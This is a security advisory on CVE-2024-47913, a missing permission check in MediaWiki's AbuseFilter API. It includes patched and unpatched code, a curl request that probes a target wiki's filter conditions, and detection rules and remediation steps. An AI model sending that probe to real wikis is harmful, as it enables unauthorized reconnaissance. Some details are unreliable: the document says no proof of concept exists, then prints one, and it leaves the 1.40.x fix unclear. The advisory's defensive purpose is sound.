CVE-2024-47913

Executive Summary

CVE-2024-47913 is an authorization bypass vulnerability in the AbuseFilter extension for MediaWiki. The flaw allows an unauthenticated API caller to match a filter condition against AbuseFilter logs, even if the caller is not authorized to view the log details for that specific filter. This violates the intended access control, potentially leaking sensitive information about filter patterns and actions taken. The vulnerability affects MediaWiki versions before 1.39.9, 1.40.x and 1.41.x before 1.41.3, and 1.42.x before 1.42.2. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

MediaWiki is a PHP-based application typically deployed via tarball or Git. This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a core application extension issue. Administrators should verify their MediaWiki version and apply the official patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (information disclosure of filter conditions)
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium. While the vulnerability allows unauthorized access to filter condition matching, it does not allow modification or denial of service. The information disclosed could aid an attacker in crafting attacks that bypass filters.

Deep Dive & Mechanics

The AbuseFilter extension allows administrators to create custom filters that automatically detect and block abusive edits. Each filter has a set of conditions (e.g., "action == 'edit' & user_editcount < 10"). The extension logs when a filter is triggered, including the matched condition.

The vulnerability lies in the API endpoint that allows checking if a given condition matches any filter. The intended behavior is that only users with the abusefilter-log-detail right can see the specific filter details. However, due to a missing permission check, an unauthenticated API caller can call the abusefiltercheckmatch API action and determine if a condition matches any filter, without needing to see the full log details.

The root cause is a missing $this->checkUserRightsAny( 'abusefilter-log-detail' ) call in the API handler. This allows any user (including anonymous) to probe filter conditions.

Vulnerable vs. Patched Code

Vulnerable Code (MediaWiki < 1.39.9, < 1.41.3, < 1.42.2):

// In includes/api/ApiAbuseFilterCheckMatch.php
public function execute() {
    // Missing permission check
    $params = $this->extractRequestParams();
    $filter = $this->getFilterFromParams( $params );
    // ... rest of logic
}

Patched Code (MediaWiki >= 1.39.9, >= 1.41.3, >= 1.42.2):

// In includes/api/ApiAbuseFilterCheckMatch.php
public function execute() {
    $this->checkUserRightsAny( 'abusefilter-log-detail' ); // Added permission check
    $params = $this->extractRequestParams();
    $filter = $this->getFilterFromParams( $params );
    // ... rest of logic
}

The patch adds a single line that checks for the abusefilter-log-detail right before processing the request.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target MediaWiki instance running a vulnerable version (e.g., 1.41.2).
• The AbuseFilter extension must be enabled.

Exploitation Steps:

1. Identify the target's API endpoint: https://target/wiki/api.php
2. Craft a request to the abusefiltercheckmatch action with a filter condition.
3. Example request:

curl -X POST "https://target/wiki/api.php" \
  -d "action=abusefiltercheckmatch" \
  -d "format=json" \
  -d "filter=action%3D%3D'edit'%26user_editcount%3C10" \
  -d "vars={\"action\":\"edit\",\"user_editcount\":5}"

4. If the response indicates a match, the attacker knows that a filter exists for that condition.

Expected Response (Vulnerable):

{
  "abusefiltercheckmatch": {
    "result": true
  }
}

Expected Response (Patched):

{
  "error": {
    "code": "permissiondenied",
    "info": "You don't have permission to view the log details for this filter."
  }
}

Blue Team

Detection:

• Monitor API logs for requests to action=abusefiltercheckmatch from unauthenticated users.
• Look for repeated probing of different filter conditions.

Honeypot:

• Deploy a vulnerable MediaWiki instance in a sandbox and log all API requests to abusefiltercheckmatch.

Lab Setup:

1. Install MediaWiki 1.41.2 with AbuseFilter extension.
2. Create a test filter (e.g., "action == 'edit' & user_editcount < 10").
3. Run the exploit command above to verify the vulnerability.
4. Apply the patch and verify the permission check.

Indicators of Compromise (IOCs)

• Network IOCs:

  • API requests to api.php with parameter action=abusefiltercheckmatch from IPs not associated with legitimate users.
  • Repeated requests with varying filter parameters.

• Log IOCs:

  • MediaWiki debug logs showing ApiAbuseFilterCheckMatch::execute calls without prior authentication.
  • Web server access logs showing POST requests to /wiki/api.php with action=abusefiltercheckmatch.

• File IOCs:

  • No file-based IOCs as this is a logic vulnerability.

Detection Engineering

YARA Rule

rule Detect_AbuseFilter_CheckMatch_Exploit {
    meta:
        description = "Detects API requests exploiting CVE-2024-47913"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-47913"
    strings:
        $api_action = "action=abusefiltercheckmatch"
        $filter_param = "filter="
        $vars_param = "vars="
    condition:
        all of them
}

Sigma Rule

title: AbuseFilter CheckMatch API Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized access to AbuseFilter checkmatch API
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=abusefiltercheckmatch'
    condition: selection
falsepositives:
    - Legitimate administrators testing filters
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-47913 - AbuseFilter CheckMatch API Exploitation";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"action=abusefiltercheckmatch";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MediaWiki to version 1.39.9, 1.41.3, or 1.42.2 (or later).
2. If immediate upgrade is not possible, disable the AbuseFilter extension temporarily:
   • Remove or rename the extensions/AbuseFilter directory.
   • Or add $wgEnableAbuseFilterExtension = false; to LocalSettings.php.

Long-term Mitigations:

• Implement strict API rate limiting to slow down probing attempts.
• Monitor for unusual API usage patterns.
• Ensure all API endpoints have proper permission checks.

Workarounds:

• Restrict API access to authenticated users only via .htaccess or web server configuration.
• Use a Web Application Firewall (WAF) to block requests containing action=abusefiltercheckmatch from unauthenticated sources.

Valters IT
DevSecOps & Cyber Threat Intelligence